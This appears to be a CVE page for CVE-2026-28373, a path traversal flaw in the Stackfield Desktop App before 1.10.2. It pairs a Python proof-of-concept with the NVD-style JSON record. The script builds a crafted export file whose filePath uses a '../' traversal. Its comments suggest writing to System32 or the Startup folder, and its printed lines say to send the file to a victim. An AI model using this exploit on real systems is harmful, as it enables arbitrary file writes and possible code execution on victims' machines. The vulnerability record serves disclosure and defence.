CVE-2026-28373

import json import os # PoC for CVE-2026-28373 # This script generates a malicious export file that exploits the path traversal vulnerability. # Define the payload structure based on the vulnerable functionality # The 'filePath' property contains the traversal sequence payload = { "metadata": { "version": "1.0" }, "files": [ { "fileName": "malicious_payload.txt", # Path traversal payload to write to a sensitive location # On Windows, this could write to C:\Windows\System32 or Startup folder "filePath": "../../../../../../Windows/Temp/malicious.txt", "content": "<script>evil_code_here</script>" } ] } # Create the malicious export file filename = "malicious_export.stackfield" with open(filename, 'w') as f: json.dump(payload, f, indent=4) print(f"[+] PoC file generated: {filename}") print("[+] Send this file to a victim using Stackfield Desktop App < 1.10.2") print("[+] When the victim opens the file, content will be written to the target path.")

{"cve": {"id": "CVE-2026-28373", "sourceIdentifier": "[email protected]", "published": "2026-04-03T17:16:42.140", "lastModified": "2026-04-07T13:20:55.200", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Stackfield Desktop App before 1.10.2 for macOS and Windows contains a path traversal vulnerability in certain decryption functionality when processing the filePath property. A malicious export can write arbitrary content to any path on the victim's filesystem."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://www.rcesecurity.com/2026/03/stackfield-desktop-app-rce-via-path-traversal-and-arbitrary-file-write-cve-2026-28373/", "source": "[email protected]"}, {"url": "https://www.rcesecurity.com/advisories/cve-2026-28373/", "source": "[email protected]"}, {"url": "https://www.stackfield.com/desktop-apps", "source": "[email protected]"}]}}